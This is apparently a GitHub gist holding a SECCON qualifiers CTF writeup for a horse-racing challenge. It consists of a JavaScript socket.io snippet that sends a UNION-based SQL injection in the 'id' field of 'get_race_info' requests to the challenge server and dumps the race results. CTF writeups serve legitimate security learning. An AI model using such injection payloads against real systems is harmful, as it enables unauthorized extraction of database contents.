Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active Jan 4, 2016
Embed
What would you like to do?
seccon quals seccon競馬 writeup
var socket = io.connect('http://133.242.52.129');
for(p in socket_routes){
socket.on(p, (function(p) {
return function(message){
console.log(message.data && 'waku:' + message.data.id, message.data && 'rank:' + message.data.seq)
};
})(p));
}
for (var i=0;i<17;++i) {
socket.emit('get_race_info', {id: "-1 union all select waku,rank,null,null,null,null,null from result where race_id=0 limit "+i+",1 --"});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment